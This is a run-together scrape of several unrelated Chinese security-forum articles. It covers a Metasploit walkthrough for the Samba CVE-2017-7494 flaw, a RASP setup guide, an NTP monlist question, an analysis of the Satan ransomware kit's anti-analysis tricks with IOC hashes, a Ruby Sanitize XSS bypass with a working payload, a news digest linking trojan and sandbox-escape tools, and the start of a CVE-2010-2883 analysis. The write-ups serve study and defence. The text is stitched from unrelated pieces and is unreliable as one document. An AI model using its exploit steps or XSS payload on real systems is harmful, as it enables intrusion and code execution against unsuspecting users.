（2）双击默认安装即可；（注意你如果已经安装了virtualbox,请卸载重启后在进行docker环境报的安装） （3）启动docker环境，注意第一次启动的有关于“boot2docker.iso”的报错内容，具体操作参见章节3.4； 6.2.2 创建靶机容器 （1）Docker启动后,配置 git bash 客户端环境变量，具体内容参见章节4.3.2.1； （2）拉取 samba 漏洞镜像 镜像拉取命令：docker pull medicean/vulapps:s_samba_1 本地镜像查询：docker images （3）创建samba 漏洞环境容器，并设置好端口映射(具体相关命令解释参加章节5.1.4.2) 容器创建命令：$ docker run -d -p 445:445 medicean/vulapps:s_samba_1 容器查询命令：$ docker ps -a 注：由于镜像在官方站点，故下载的过程会非常慢，大家实验时请耐心等待（么办法就是这么蛋疼）。 6.2.3 配置virturlbox 端口转发 有关 445 端口的端口转发内容，请参见章节5.1.4.2 的小标题(2)。 6.2.4 samba 共享服务验证 最后手动访问下物理网卡的IP地址共享，测试下看是否可以正常访问共享目录。 **** **6.3 MSF 攻击复现** 6.3.1 is_knonw_pipname.rb 攻击脚本下载 网上已经放出了针对CVE-2017-7494漏洞的攻击exp（is_knonw_pipname.rb）,我们直接将其现down下来，放到MSF框架的相应路径下即可。 （1）is_known_pipename.rb POC下载链接： <https://raw.githubusercontent.com/hdm/metasploit-framework/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb> （2）is_known_pipename.rb脚本存放MSF路径： /usr/share/metasploit-framework/modules/exploits/linux/samba/ 对于 is_know_pipename.rb脚本，我们可以直接使用wget进行下载，然后使用命令cp复制到相应的目录。 6.3.2 开启MSF框架，发起攻击 （1） 进入MSF框架 （2） 调用攻击模块，设定攻击参数 （3） 发起攻击，获取控制权限 至此这边篇文档终于扫尾了，太不易了，各位看官如果下学习中遇到什么问题，或者对我的这文档有啥意见希望大家积极给我留言，愿与大家共同学习交流，一起进步…最后拜谢各位看官坚持看完这篇拙文，谢谢！！！ ** ** **七、学习参考与资源** 视频学习 <https://yeasy.gitbooks.io/docker_practice/content/appendix/command/> docker从入门到实践： [https://study.163.com/course/courseLearn.htm?courseId=1002892012#/learn/video?lessonId=1003326200&courseId=1002892012](https://study.163.com/course/courseLearn.htm?courseId=1002892012#/learn/video?lessonId=1003326200&courseId=1002892012) 网络互联知识 <https://opskumu.gitbooks.io/docker/content/chapter5.html> 网易蜂巢镜像中心 <https://c.163.com/hub#/m/home/> doccloud镜像市场 <http://hub.daocloud.io/> medicean漏洞镜像库 <https://hub.docker.com/r/medicean/vulapps>
社区文章
[toc] ## 概述 本文没有什么实在的技术含量，主要是为了照顾不会使用IDEA&maven配置环境的小伙伴写的一篇文章。如果对本篇文章不感兴趣，可以直接查看下一篇文章《[浅谈RASP技术攻防之实战[代码实现篇]](https://xz.aliyun.com/t/4903)》，文章中有什么不懂得地方，大家可以来我博客[[Sky's自留地](https://www.03sec.com)]一起讨论。笔者sky(iiusky)目前就职于《安百科技》，欢迎大家一起来探讨RASP攻防技术。 > 浅谈RASP技术攻防之实战[环境配置篇] 和 > 浅谈RASP技术攻防之实战[代码实现篇]中的代码已经上传到github，地址为：[java_rasp_example](https://github.com/iiiusky/java_rasp_example) ## IDEA开发环境配置 ### 初始化项目 首先我们在IDEA中新建一个maven项目 取名为JavawebAgent 然后当前的目录结构如下： 删除src目录，然后右键新建`Module` 依然选择Maven项目 然后在ArtifactId处填入agent 然后确定即可 然后再次重复一遍上面的新建Module的操作，将第二小步中的ArtifactId改为test，第三小步中的Module Name 改为test-struts2,如下图所示 这时候的目录结构如下 其中agent目录为我们要实现agent的主要代码区域，test-struts2为测试web代码区域。（注：test-struts2不是必选的） ### test-struts2模块基本配置 test-struts2部分的代码这边就不进行复述了，大家可以去本项目的地址中直接下载test-struts2内容。 ### agent模块基本配置 #### pom.xml包配置 agent这个pom包配置的话有坑，这个以后在说，先看`pom.xml`内容吧。 <dependencies> <dependency> <groupId>org.ow2.asm</groupId> <artifactId>asm-all</artifactId> <version>5.1</version> </dependency> </dependencies> <build> <finalName>agent</finalName> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <configuration> <source>1.6</source> <target>1.6</target> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>2.3.2</version> <configuration> <archive> <manifestFile>src/main/resources/MANIFEST.MF</manifestFile> </archive> </configuration> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-shade-plugin</artifactId> <version>2.3</version> <executions> <execution> <phase>package</phase> <goals> <goal>shade</goal> </goals> <configuration> <artifactSet> <includes> <include>commons-io:commons-io:jar:*</include> <include>org.ow2.asm:asm-all:jar:*</include> </includes> </artifactSet> </configuration> </execution> </executions> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-surefire-plugin</artifactId> <version>2.21.0</version> <configuration> <skipTests>true</skipTests> </configuration> </plugin> </plugins> </build> 将上述内容复制到agent模块下的pom.xml中 #### 创建MAINFEST.NF文件 在resources目录下创建MAINFEST.NF文件，文件内容如下 Manifest-Version: 1.0 Can-Retransform-Classes: true Can-Redefine-Classes: true Can-Set-Native-Method-Prefix: true #### maven自动打包配置 在idea中右上部分找到`Add Configurations`,然后点击此按钮 在弹出的窗口中点左上角的`+`,选择maven 然后点下图①的位置选择工作目录，在②的位置选择agent，在③的位置填入`clean install` 完成以后如下图所示，然后点击OK保存即可 这时候右上角已经可以看到我们刚刚配置的maven自动打包功能了，agent每改一处都需要重新build，不然无法生效。 #### 创建Agent主要实现代码包 在agent包下面的java文件夹下右键选择新建package，然后填入你的包名，我这边的包名为 cn.org.javaweb.agent 到目前为止，我们已经将基本环境以及目录结构配置完成了，下篇文章我们接着说代码实现部分的内容。
社区文章
本地装了NTP服务器 IP：192.168.3.138 版本 :Ver 4.2.6p5 网上的修复方法如下： 1.把 NTP 服务器升级到 4.2.7p26 1. 关闭现在 NTP 服务的 monlist 功能，在ntp.conf配置文件中增加`disable monitor`选项 3.网络封禁123端口 * * * 逆向修复方法 版本低于4.2.7p26 在ntp.conf中没有disable monitor ntpdc -n -c monlist 192.168.3.138 | wc -l 192.168.3.138: timed out, nothing received ***Request timed out 0 超时错误，ntp服务器 防火墙已关 selinux已关，两台机器可以通（NTP服务器是CentOS6.5 另一台是Kali） 望大家指点一下
社区文章
2020年6月16日，发布了有关Ruby Sanitize库的[安全公告](https://github.com/rgrove/sanitize/security/advisories/GHSA-p4x4-rw2p-8j8m)，该公告涉及其RELAXED配置可能导致完全绕过该库的问题。我在Securitum进行的渗透测试中发现了这个错误，在这篇文章中，我将解释我如何提出绕过的想法并展示它是如何工作的。 ## Sanitize介绍 本节包含有关HTML清理器的概念及其工作方式的基本信息。如果您熟悉此主题，则可以安全地跳到下一部分。 [Sanitize](https://github.com/rgrove/sanitize)是一个充当HTML清理程序的Ruby库。其目标是获取不受信任的HTML标记，删除潜在的不安全元素和属性，并生成新的“安全”HTML。实际上，`Sanitize`是基于白名单列表的，这意味着它将删除列表中未包含的所有元素和属性。您可以定义自己的白名单列表（例如，您可能只希望允许`<b>`和`<i>`标签），但是这有一些预定义的白名单。在本文中，我将专门讨论名为RELAXED的配置，其中包含以下允许的元素列表： a abbr address article aside bdi bdo blockquote body br caption cite code col colgroup data dd del dfn div dl dt figcaption figure footer h1 h2 h3 h4 h5 h6 head header hgroup hr html img ins kbd li main mark nav ol p pre q rp rt ruby s samp section small span strike style sub summary sup sup table tbody td tfoot th thead time title tr ul var wbr 通常，消毒剂的工作可以概括为三个步骤： * 将HTML解析为DOM树。 * 从DOM树中删除不允许的元素和属性。 * 将新的DOM树序列化为HTML标记。 举例来说，让我们看看Sanitize如何处理以下标记： ABC<script>alert(1)</script><img src=1 onerror=alert(2)> 它被解析为以下DOM树： script标签和onerror属性不在白名单中，将被删除。这将导致以下DOM树： 并在序列化之后： ABC<img src="1"> 总而言之，由于进行了过滤，最初的不安全HTML被重写为安全形式。 ## STYLE的实体编码和解码 Sanitize库的白名单列表包含style元素；这看起来很有希望，因为它表现出一些特定的行为。首先，HTML解析器不会解码`<style>`内的HTML实体。看下面的HTML： <div>I <3 XSS</div> <style>I <3 XSS</style> 它被解析为以下DOM树： 注意到实体`&lt;`在`<div>`中被解码为`<`，但是在`<style>`中根本没有被解码。 类似地，大多数元素的文本内容的序列化会产生转义的文本（即`&"<>`分别用`&amp;&quot;&lt;&gt;`替换），但是对于某些元素（例如`<style>`），该文本按字面意义呈现。 考虑以下DOM树： 它被实体编码为： <div>I &lt;3 XSS</div> <style>I <3 XSS</style> 请注意，`<`在`<div>`中实体编码为`&lt;`，但在`<style>`中未编码。 字符不能在`<style>`中进行转义的情况具有重要作用：如果`<style>`中的字符内容是`<style><img src onerror=alert(1)>` ，如下面的DOM树： 然后将其序列化为： <style></style><img src onerror=alert(1)> 并且当再次解析序列化格式时，将引入XSS。 HTML规范中直接提到了这种风险： 仍然存在的问题是：如何在STYLE元素内放置文本`</style>`？ ## 外部内容 HTML规范具有一个称为外部内容的安全性问题潘多拉盒。简而言之，当在标记中打开`<svg>`或`<math>`标签时，就会引入外部内容；并且解析发生了巨大的变化。我在上一节中提到的`<style>`的两个特征不再成立。如果`<style>`是`<svg>`或`<math>`的子元素，在DOM解析时会对HTML实体进行解码，并在序列化时对字符进行HTML编码。 看一个简单的例子： <svg><style>I &lt;3 XSS 它被解析为以下DOM树： 请注意，`&lt;`解码为`<`，而`<style>`是`<svg>`的父元素的情况则不是这种情况。DOM树被序列化回： <svg><style>I &lt;3 XSS</style></svg> 同样，在`<style>`是`<svg>`的父元素的情况，在`<style>`中`<`不会被实体编码为`&lt;` ## Sanitize绕过 回到重点上，让我们看看如何绕过Sanitize库。RELAXED配置允许使用`<style>`元素，但不允许使用`<svg>`和`<math>`元素。Sanitize使用[Google Gumbo](https://github.com/google/gumbo-parser)解析器，它是HTML5兼容的解析器，因此它完全了解我上面提到的所有细节。 Sanitize还可以对CSS规则进行消毒处理，但是将任意内容放入<style>的简单技巧就是利用注释符进行处理。</p> <p>因此，绕过payload如下：</p> <div class="highlight"><pre><span></span><span class="p">&lt;</span><span class="nt">svg</span><span class="p">&gt;&lt;</span><span class="nt">style</span><span class="p">&gt;</span><span class="err">/*&amp;lt;/style&gt;&amp;lt;img src onerror=alert(1)*/</span> </pre></div> <p>让我们逐步分析原因。首先，Sanitize将HTML解析为以下DOM树：</p> <p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200729091644-2ad022d2-d139-1.png" alt=""></p> <p><code>&lt;svg&gt;</code>不在白名单列表中，并被删除。但是，<code>&lt;svg&gt;</code>的内容会被忽略。因此，此时的DOM树如下：</p> <p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200729091739-4b759904-d139-1.png" alt=""></p> <p>没有更多要清除的内容，因此代码被序列化为：</p> <div class="highlight"><pre><span></span><span class="p">&lt;</span><span class="nt">style</span><span class="p">&gt;</span><span class="o">/*</span><span class="p">&lt;/</span><span class="nt">style</span><span class="p">&gt;&lt;</span><span class="nt">img</span> <span class="na">src</span> <span class="na">onerror</span><span class="o">=</span><span class="s">alert(1)</span><span class="p">&gt;</span>*/ </pre></div> <p>这将导致XSS。</p> <h2>总结</h2> <p>Ruby Sanitize库存在一个安全问题，如果网站使用<code>RELAXED</code>配置，则可以完全绕过它。在我的报告之后，删除<code>&lt;svg&gt;</code>和<code>&lt;math&gt;</code>元素的默认行为已更改，以便它们的内容也被删除。</p> <p>参考：<a href="https://research.securitum.com/html-sanitization-bypass-in-ruby-sanitize-5-2-1/">https://research.securitum.com/html-sanitization-bypass-in-ruby-sanitize-5-2-1/</a></p> </style>
社区文章
# 【知识】7月4日 - 每日安全知识热点 | ##### 译文声明 本文是翻译文章，文章来源：安全客 译文仅供参考，具体内容表达以及含义原文为准。 **热点概要： ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 **** **、** Metasploit中smb_ms17_010.rb面临139/TCP时的缺陷、基于x86 Edge沙箱逃逸、读ios二进制文件part2：swift部分 **、** 我是如何发现intel处理器的bug、IOS10内核安全漫谈ppt **、 文档型漏洞攻击研究报告、Spring MVC在Servlet中获取bean，针对加密数据源场景 ** ********** ** ** **资讯类：** 西门子发布补丁修复INTEL AMT缺陷 <https://threatpost.com/siemens-patches-critical-intel-amt-flaw-in-industrial-products/126652/> **技术类：** **** **** **** **** [](http://motherboard.vice.com/read/the-worst-hacks-of-2016) [](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/) [](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py) Linux 内核4.12放出 <http://lkml.iu.edu/hypermail/linux/kernel/1707.0/00325.html> Thinkphp5X设计缺陷导致泄漏数据库账户密码 <https://xianzhi.aliyun.com/forum/read/1813.html> ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 <https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html> Metasploit中smb_ms17_010.rb面临139/TCP时的缺陷 <http://scz.617.cn/windows/201707031558.txt> 读ios二进制文件part2：swift部分 <https://appscreener.us/blog/?code=reading-ios-app-binary-files-part-2-swift> 我是如何发现intel处理器的bug <http://gallium.inria.fr/blog/intel-skylake-bug/> LIEF 新版0.7.0 发布，增加多个实用小功能 <https://lief.quarkslab.com/doc/changelog.html#july-3-2017> 看雪CTF2017学习记录整理系列1 <https://weiyiling.cn/one/pediy_ctf2017-1> SYN FLOOD ATTACK for IP CISCO Phone <https://www.exploit-db.com/docs/42292.pdf> 基于x86 Edge沙箱逃逸 <https://github.com/SandboxEscaper/Edge-sandbox-escape> DVWA中的基于DOM的XSS（bypass所有安全等级） <http://www.hackingarticles.in/understanding-dom-based-xss-dvwa-bypass-security/> IOS10内核安全漫谈ppt <https://raw.githubusercontent.com/aozhimin/MOSEC-2017/master/Keynote/Revisiting%20the%20Kernel%20Security%20Enhancements%20in%20iOS%2010.key> WordPress统计插件Statistics SQL注入漏洞分析 <http://ecma.io/755.html> 文档型漏洞攻击研究报告 <http://bobao.360.cn/learning/detail/4054.html> Dr0p1t-Framework：绕过多数杀软的一个木马生成框架 <https://github.com/D4Vinci/Dr0p1t-Framework> Spring MVC在Servlet中获取bean，针对加密数据源场景 <https://threathunter.org/topic/595a1bcbaf81d7037a5407a4>
社区文章
# 【技术分享】Satan勒索软件即服务（RaaS）模式分析 | ##### 译文声明 本文是翻译文章，文章来源：blog.cylance.com 原文地址：<https://blog.cylance.com/threat-spotlight-satan-raas> 译文仅供参考，具体内容表达以及含义原文为准。 **** **** 翻译：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922) 预估稿费：200RMB 投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿 **前言** 勒索软件可能是当前最流行的网络敲诈形式，这种方式虽然早已存在多年，但最近勒索软件的变体数量呈显著增加的趋势。由于勒索软件的臭名远扬和潜在的高支付率特点，网络犯罪分子纷纷开发新的勒索软件分发方式以获取不菲回报。 在过去的几年里，恶意软件作者将其专有技术封装打包成昂贵的攻击套装并在地下市场上进行销售，网络犯罪分子购买恶意软件，在感染受害者电脑前首先得支付高额的前期成本。 勒索软件正在悄然改变恶意软件作者和网络犯罪分子的交互方式。加密货币的存在使得勒索软件作者无需提前收费，而只需从成功的犯罪赎金中进行抽成即可，这也将大大增加勒索软件势力范围的扩张。我们最近发现了一个名为Satan（撒旦）的RaaS（ransomware-as-a-service，勒索软件即服务）网站，它向我们展示了网络犯罪分子是如何轻而易举就可以构建复杂的勒索软件并进行分发感染。 ** ** **初识Satan RaaS** 在深入了解RaaS模式之前，我们可以先了解一下Satan勒索软件。 根据攻击者选择的恶意软件分发方式，Satan可以作为钓鱼邮件的附件或通过常用的电子邮件活动附件（如Word, Excel, JS脚本，VB脚本）自动下载等等。 真正的Satan二进制载荷经过加密，包含许多反调试和反分析技术以加大对它的静态和动态分析难度。恶意软件作者很有可能掌握一个随时可用的技术库，因为这些技术已经在其他恶意软件中被发现过。 ** ** **反调试技术** 在Satan中可以发现以下反调试技术： BlockInput()函数的调用：该函数在调试会话期间有效，当函数被调用时，鼠标和键盘将会被禁用，而这在实际执行中不会发生。 IsDebuggerPresent()和CheckRemoteDebuggerPresent()函数的调用。 将无效句柄推送到ntdll.NtClose()或CloseHandle()：非常古老且被人熟知的调试器检测方法。 LoadLibrary()或LdrLoadDll()函数的调用：使调试会话崩溃。 NtQueryInformationProcess()函数的调用：使用ProcessDebugPort类来检查程序是否被调试。 OpenProcess()函数和csrss.exe：搜索正在运行的csrss.exe并将其进程ID传递给OpenProcess()以检测程序是否正在被调试。 以下代码片段显示了上面提到的一些反调试技术的使用情况。 图1. 反调试技术 ** ** **反分析技巧 ** 除了反调试技术，Satan还采用了以下技巧以增加对它的分析难度： 1）检查avghookx.dll和avghooka.dll文件的存在。这两个文件是AVG反病毒软件的一部分。 2）调用调用FindWindowW()函数来搜索当前打开的包含以下标题的窗口： OLLYDBG WinDbgFrameClass Immunity Debugger Zeta Debugger Rock Debugger ObsidianGui 3）使用GetModuleHandle()函数检查以下动态链接库（DLL）文件是否存在。这些DLL文件与一些最广泛使用的恶意软件分析工具（包括在沙箱或虚拟机环境中使用的工具）有关。 SbieDll.dll dbghelp.dll  snxhk.dll api_log.dll dir_watch.dll vmcheck.dll wpespy.dll pstorec.dll 4）枚举并检查当前运行的所有进程，查找以下任何进程是否存在。这些进程同样与恶意软件分析工具有关。 ollydbg.exe ProcessHacker.exe Tcpview.exe autoruns.exe autorunsc.exe filemon.exe procmon.exe procexp.exe idaq.exe idaq64.exe ImmunityDebugger.exe Wireshark.exe dumpcap.exe HookExplorer.exe ImportRec.exe PETools.exe LordPE.exe Sysinspector.exe proc_analyzer.exe sysanalyzer.exe sniff_hit.exe windbg.exe joeboxcontrol.exe joeboxserver.exe netmon.exe 下图显示了Satan如何执行上述检查过程。 图2. 枚举当前进程 图3展示了Satan反分析技术中涉及到的字符串，这些字符串经过加密，不容易在二进制文件中查看，我们在内存中对它们进行了还原。 图3. 内存中经解密后的字符串 Satan采用以下方法来检查其是否在沙盒环境中运行。 1）检查wine_get_unix_file_name()函数是否在“Wine”沙盒环境中运行。 2）检查所使用的文件名是否是“sample.exe”，是否在“C:insideTM”文件夹中运行。这两点是Anubis沙箱环境的特点。 3）检查登陆用户是否使用以下用户名，这些用户名是沙盒环境常用的用户名： SANDBOX MALTEST MALWARE VIRUS TEQUILABOOMBOOM 4）检查所在文件夹名称中是否包含以下字符串。这些字符串同样是沙盒环境常用的文件夹名称： SAMPLE VIRUS SANDBOX 一旦Satan验证其未在沙盒环境中被调试、分析或运行，首先会使用自己的文件名创建一个挂起进程，该进程留待后续使用。 图4. 创建挂起进程 接下来Satan将另一个可执行二进制文件加载到内存中，该二进制被打包加密存储在主文件中，经过一系列解密工作后，该二进制文件被加载到特定的内存位置。 新的二进制文件是Satan的主体功能文件，此时它不会保存为磁盘文件，而是被载入到刚才创建的挂起进程中。这种“进程持续”技术也是恶意软件使用的另一种反分析技术。 Satan使用ZwReadVirualMemory()函数读取新的可执行文件，然后调用ZwWriteVirtualMemory()将其写入挂起的进程中。一旦写入成功，Satan将调用NtResumeThread()函数恢复挂起的进程，恢复成功后进程将继续执行。 图5. 进程持续技术：在另一个进程空间中执行可执行映像 Satan将自己的副本存放在%appdata%目录下，创建一个自启动注册表项以伴随Windows启动运行。Satan创建一个随机名称的文件夹存放自身的副本，副本也采用随机生成的文件名。 **一个示例：** 释放文件： C:Users<UserName>AppDataRoamingAqugifyso.exe 创建注册表项： HKCUSoftwareMicrosoftWindowsCurrentVersionRun{2D077B8E-5F2F-1906-3EF3-8C5D6B12D4F0} = “C:Users<UserName>AppDataRoamingAqugifyso.exe –t” Satan尝试连接到C&C服务器，发送感染成功信息。 https://dcwqsuh6dxn<xxxxx>.onion.lu/g(dot)php 此时Satan将开始搜索和加密具有特定扩展名的文件通过枚举所有本地和远程映射驱动器，Satan递归扫描文件夹和子文件夹中具有以下扩展名的文件： 图6. 目标文件扩展名 Satan将跳过扫描位于系统文件夹（如C:Windows，C:Program Files和C:Program Files（x86））中的文件，以保证系统在重启后还能正常工作。 当Satan找到目标文件后，它将使用RSA-2048和AES-256对文件进行加密。经过加密的所有文件的文件名将被随机更改，并以“.stn”作为扩展名。 例如，“my_document.docx”将被改名为"erwirydj.stn"。 图7. 被感染后的文件 成功加密文件夹中的一个或多个文件后，Satan将在当前文件夹中创建一个名为“HELP_DECRYPT_FILES.html”的文件，显示勒索信息以及如何付款信息。 图8. HELP_DECRYPT_FILES.html文件 点击页面中的任一链接后，受害者将转到另一个页面，其中包含如何注册比特币（BTC）钱包、购买比特币以及如何使用比特币支付赎金的说明。 图9. 赎金支付页面 当然，即使受害者支付赎金后，也不能保证他们能顺利恢复文件。 ** ** **勒索软件即服务（Ransomware-as-a-Service，RaaS）** Satan的开发者设置了一个网站，允许用户生成自己的Satan变种，他们可以使用自己的方法进行软件投放，可以指定他们想要的赎金所对应的比特币数量。他们可以创建任意多数量的变种，可以很容易地监测通过该网站被感染和支付赎金的受害者状态。Satan开发者将从受害者所支付的赎金中抽成30%作为回报。 图10. Satan RaaS介绍页 用户在网站上注册和登陆后，将被转到主页面，在填写必要表单信息后就可以制作Satan变种，该页面同时还显示变种的感染及赎金获取状态报告。 图11. 变种制作页面 变种创建完毕后，用户可以从页面底部的下载区域下载该变种。 图12. 页面的下载区域 现在用户可以自行决定如何分发自己的勒索软件。事实上，该页面还提供了一个工具以制作携带勒索软件的CHM或带宏脚本的Word文档。用户首先需要利用页面提供的Powershell或Python脚本，使用自己的密钥对二进制可执行文件进行加密（脚本采用简单的异或加密算法）。用户将加密后的文件上传到某个托管Web服务器，获取文件链接，在图13的下载器创建页面中，用户需要提供该链接及所使用的加密密钥。 图13. 下载器创建页面 点击“生成”按钮后，网页将为用户提供CHM和带宏脚本Word文档的下载器生成脚本，以及脚本的使用方法。例如，网页可以指导用户创建一个带有名为“Autoopen”宏的Word文档，宏内容通过复制/粘贴网页代码填充即可。网页生成的脚本都比较简单，高级用户可以通过混淆处理以规避传统的防病毒软件引擎。 图14. 下载器脚本生成页面 ** ** **结论** 随着RaaS模式的兴起，我们认为勒索犯将采用这种模式来激励恶意软件的制作、分发及销售，勒索软件的准入门槛也将降低，具备广泛分销网络的复杂犯罪组织也将介入勒索软件市场，而那些技术不够的脚本小子们也很容易开始传播恶意软件来牟取暴利。 ** ** **攻击指示器（IOCs，Indicators of Compromise）** SHA-256哈希值 189317E4CA2591D2036956FC35A45F6ACDC27D6D99029D1A75305FAA233DB55C 275149352D185B624418AB0531FD276EC1522F841721AE6FB6505DFC0A07E541 3D7273CD598B064AD1BBDC3CAC08D5BA94B9F1C8875A2C9EF8F80D3A88B2AC4E 3F8ED321E43E191A5E15063BB26131C5D122C1FB9CDB2856BE1B1B542BAA4E4C 423F21E066F9041AA95F5CDF10CBD6DF0ECD2BDEB180A2F105F9CAFD1D8FD56D 497A8324D6A49B4088E4C2D06A90C752BC67993F10C391CA958532EE1F38C22D 50D6E779D77AACB0757870777F0AA18E3389B54799FEB0B357926BFD21293166 527E19E930885AE43AF08571A2FDF6C09F8975BE3F590B0D2526991981686086 54C61111C6247A7B7609104EE9E68C68072176553262FB5CE2AC62C30287333E 551898DE2E40E82AE4ACB882B67FB766B8CB52E33C1586D68C25658165D9A359 559830A0E8F704EE0784B80A219244AE400B84FFD806216E58F58FAE8E3D82D8 60E13B438270B73297420928EF9CE3EC2DDF745C13786111684CF039D139B1F6 683A09DA219918258C58A7F61F7DC4161A3A7A377CF82A31B840BAABFB9A4A96 6926BF0A681E279B82F7BE90E6A3F2C89E4FE0E8735A71EFD19A8AF7763432F7 73D8E669166428C158A250ED03307D2609772DB22199AA0B270AA47539192DFC 7AF31E78745297A013C129049EC198ADE6BE589A2E37BC53FBBA0B8CD31EB499 7E183B7AEF1CCAE6671687898A4EA7A366296AACE32F9BDF980446DA3BC1BA4E 81D844B7B717DF31EF9F48B5F45C4F79BEB1FFE98FF72404DA53A5B1C9CDDAEA 84DD7AFBFC63272EEA2C55B6D079EF1897971516E3A7359AA932FEC10EA6D4B6 9691B6330C5D7B30ECB5F8521AF8FFA841708715E793CA8EAE2268D8FDF8F376 9874815AA0B629DB4CC25F76DCA3D307B9A92C139B4CE2209957772F7E6D7F98 9A10F8079E85E6CE401CA864058CA0C6261551E3283EB5976B77F6D45583C6BE 9B85261A80B53E084581411281E8BC33580933A9CFA615E352DC9E2DA9028400 A7A8E0E8B35E7CDDF63CF099C37AF5B3DDB7F517B5A485EE56B66BB5F450326C A884AB79BCE95D99C67A10CF5E3A671460E5EBF7A00CDCE478DCC5A226698A4E B38B4C1DCF6D6ECD1BBFC236B43C37C18044C2F42F11E5088384F4BD0751929C B87B696A5497EF13FCAFDD3B9A608D8F8B0582EA2CECB3D42AE18918B6E2B9B4 BB83B4AFE9F8F27888ABEE0C63CEC3E73496AC191B954F348916DF0C6CC9A25F C04836696D715C544382713EEBF468AEFF73C15616E1CD8248CA8C4C7E931505 C45F2A7B82BA48F40997FA8E9C3B036BC50D2B63885F07EE51EC454E896C5CF6 CB6C4933515181096583A9F85813526096D5B135C461393D288077EC8FA28A57 CCF384FA1A757B0FAC7F4D1AED45279B28AA755BB9238C57F1B6AD23BCE8C4DB CD00EECD9D0DE87953ED0E905A82C013BB6E954680D80EA1B7FC77B8DBF5A127 D274F3F8C7D4E69622F9B71AED62D94454C25D6FA368BFE4218EAAC4F6AF0B3A E5BE3D2DD286D51F22D36227D360EFA790A9E17A6FD0C13AD601B8BDB6CBA4DA E6E27A9DCAB0187CC81B71EBD08EE4CF3E061B5A7C34B2E64F3C27C51152D04F EA2C169529E782994BE5296C81FF4668DBA2B77A805BD057B53E5952C65AAF72 EBB1AF5E17B7B776C0461E823B13C06C7745F65D10A0E267C37E327CD8C146AD ECBC409F32F4F8025050DCC195C707D1908BF65C8EEABFDD4D3EF97D6C07CA89 ED84A7185BD3DECFE9104FA3F6DAD24BB0A0FF27A1A792A05EF0F2B010BF7B9B EE937717EFE9A2E076B9497498B628BEB0C84A8476BD288105A59C5AEEA01F3D F4F756C4E00B828FEE02AFF2C8D58F0CC84395690BC713045AB50B00AD61C537 F814DC77EDBDB4B36895C5BF3415EA8DBA9A341E10CA664A3B5CECFD29938232 FBAD2A39C9B33BABF306204A1794752C2057BA265F3916497697A9E73CFE76B4
社区文章
# 细说CVE-2010-2883从原理分析到样本构造 ##### 译文声明 本文是翻译文章 译文仅供参考，具体内容表达以及含义原文为准。 ## 前言 可能是各位大佬都比较忙的缘故，在学习了网上各种前辈们的漏洞报告之后，总感觉叙述的不够详细，小白理解起来较为困难。因此秉承着前人栽树后人浇水的原则，我也想尝试写一篇个人认为较为详细的漏洞分析，但由于水平有限不足之处请谅解。并借此记录下近日的学习成果。望各位不吝赐教! ## 漏洞信息 **漏洞编号:** CVE-2010-2883 **复现环境:** 操作系统 Windows XP SP3 虚拟机 Vmware 15 Pro 漏洞软件 Adobe Reader 9.3.4 **漏洞简介:** 在Adobe Reader和Acrobat 9.4之前的9.x版本中用于实现CoolType(清晰显示文本的字体还原技术)技术的库CoolType.dll中在解析TrueType字体文件中的SING表的uniqueName字段时调用的strcat函数 **未检查长度** 导致存在基于栈的缓冲区溢出漏洞。远程攻击者可构造恶意的SmartINdependent Glyphlets (SING)表修改内存数据从而执行任意代码。 ## 定位漏洞 既然我们已经知道了产生漏洞的地方在于CoolType.dll，因此这里采用IDA直接静态分析。在Adobe Reader 9.3.4的安装目录下找到CoolType.dll动态链接库，用IDA载入。借助字符串来定位，在Strings窗口(Shift+F12)中搜索(Ctrl+F)SING关键词得到如下信息 .rdata:0819DB4C aSing db 'SING',0 ; DATA XREF: sub_8015AD9+D2↑o .rdata:0819DB4C ; sub_803DCF9+7B↑o ... .rdata:0819DB51 align 4 选中aSing借助IDA强大的交叉引用功能(Ctrl+X)，找出所有引用了aSing的地方。这里定位到0x0803DD74的位置 .text:0803DD74 push offset aSing .text:0803DD79 push edi .text:0803DD7A lea ecx, [ebp+108h+var_12C] .text:0803DD7D call sub_8021B06 .text:0803DD82 mov eax, [ebp+108h+var_12C] .text:0803DD85 cmp eax, esi .text:0803DD85 ; } // starts at 803DD53 .text:0803DD87 ; try { .text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2 .text:0803DD8B jz short loc_803DDC4 .text:0803DD8D mov ecx, [eax] .text:0803DD8F and ecx, 0FFFFh .text:0803DD95 jz short loc_803DD9F .text:0803DD97 cmp ecx, 100h .text:0803DD9D jnz short loc_803DDC0 .text:0803DD9F .text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j .text:0803DD9F add eax, 10h .text:0803DDA2 push eax ; char * .text:0803DDA3 lea eax, [ebp+108h+var_108] .text:0803DDA6 push eax ; char * .text:0803DDA7 mov [ebp+108h+var_108], 0 .text:0803DDAB call strcat 可以注意到在地址0x0803DDAB处调用了strcat函数。先来看下strcat的函数原型 char *strcat(char *dest, const char *src); strcat会将参数 src 字符串复制到参数 dest 所指的字符串尾部，dest 最后的结束字符 NULL会被覆盖掉，并在连接后的字符串的尾部再增加一个NULL。 往上追溯会发现这里的strcat函数的两个参数一个值是 ebp+108h+var_108 另一个值是 ebp+108h+var_12C，仔细观察会发现这里并没有去验证src的长度是否可能会超出dest数组定义的长度，因此如果我们有可能将超出dest数组定义长度的数据放入src中有可能可以在后方调用strcat函数时覆盖栈区从而实现代码执行。 为了更好的理解这里具体的逻辑，我们可以考虑动态调试。 ## 样本生成 